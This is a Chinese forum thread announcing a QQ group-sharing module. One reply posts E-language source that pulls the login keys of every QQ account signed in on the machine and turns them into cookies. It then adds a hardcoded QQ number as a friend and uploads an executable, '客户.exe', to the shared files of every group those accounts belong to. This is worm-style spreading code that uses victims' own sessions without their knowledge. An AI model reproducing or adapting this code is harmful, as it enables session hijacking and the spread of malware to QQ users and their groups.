QQ群共享上传【取本机所有QQ】【取QQ所有群】模块发布了

Nodesire

qq共享模块.zip (307.33 KB, 下载次数: 485)

2014-5-10 20:57 上传

点击文件名下载附件    你们能告诉我，人家免费开源的东西，到这孩子手里，就开始收费了，,本人证实，这个人一点技术都没有，拿着人家开源的东西，到处骗钱，大家可以发现，这个人卖的所以东西，你论坛一搜索，全部都有开源的

jerryis

开源谢谢 开源谢谢

hao1124

来学习!!!!!!!!!!!!

青岛何武器

学习一下 谢谢

343672257

我来贴.版本 2
.支持库 shell
.支持库 spec

.程序集 窗口程序集1
.程序集变量 Coookies, 文本型
.程序集变量 n, 整数型
.程序集变量 数组, 整数型, , "0"
.程序集变量 uin, 文本型
.程序集变量 QQ群, _QQ群
.程序集变量 qun, 文本型, , "0"
.程序集变量 Boy, Key_, , "0"
.程序集变量 Gyk, 文本型
.程序集变量 QQ, 文本型
.程序集变量 i, 整数型
.程序集变量 文件名, 文本型

.子程序 __启动窗口_创建完毕, , , 'sunshin团队（sunshin、小斌提供分享）

文件名 ＝ “\客户”
QQ ＝ “1026630872”  ' 运行的时候请把QQ换了。
.计次循环首 (Key_取已登录QQKey (Boy), n)
    Coookies ＝ Key_取回cookie (Boy [n].Uin, Boy [n].Key)
    Cookies_Setup_Gtk_Uin (Coookies, Gyk, uin)
    计算值 ()
    删除文件 (取特定目录 (1) ＋ “\i”)
    QQ群.取群列表 (Coookies, qun)
    调试输出 (Gyk)
    输出调试文本 (uin)
    添加QQ好友 (QQ, Gyk, uin, Coookies)


    调试输出 (“QQ：” ＋ Boy [n].Name ＋ “群总数” ＋ 到文本 (取数组成员数 (qun)) ＋ “个”)
    .计次循环首 (取数组成员数 (qun), i)
        .判断开始 (QQ群.共享文件 (Coookies, qun [i], 取运行目录 () ＋ 文件名 ＋ “.exe”, “”, 960000, ))
            调试输出 (“群：” ＋ qun [i] ＋ “上传文件成功！”)
            ' 信息框 (“群：” ＋ qun [i] ＋ “上传文件成功！”, 0, )
        .默认
            调试输出 (“群：” ＋ qun [i] ＋ “上传文件失败！”)
            ' 信息框 (“群：” ＋ qun [i] ＋ “上传文件成功！”, 0, )
            .判断开始 (QQ群.共享文件 (Coookies, qun [i], 取运行目录 () ＋ 文件名 ＋ “.exe”, “”, 960000, ))
                调试输出 (“群：” ＋ qun [i] ＋ “上传文件成功！”)
                ' 信息框 (“群：” ＋ qun [i] ＋ “上传文件成功！”, 0, )
            .默认
                调试输出 (“群：” ＋ qun [i] ＋ “上传文件失败！”)
                ' 信息框 (“群：” ＋ qun [i] ＋ “上传文件成功！”, 0, )
                QQ群.共享文件 (Coookies, qun [i], 取运行目录 () ＋ 文件名 ＋ “.exe”, “”, 960000, )

            .判断结束

        .判断结束
        处理事件 ()
    .计次循环尾 ()
    清除数组 (qun)
    处理事件 ()
.计次循环尾 ()

出源码 楼主发东西发一半，真恶心

tao88560

我有源码 QQ2621633663

少文

开源谢谢 开源谢谢 开源谢谢

hui135135

源码我有

唉，到此为止

sjfaklajkgdakljgklajglkajdg

成长的心

这个好早都有了，你这样开源谢谢

Sc樱花

支持了呢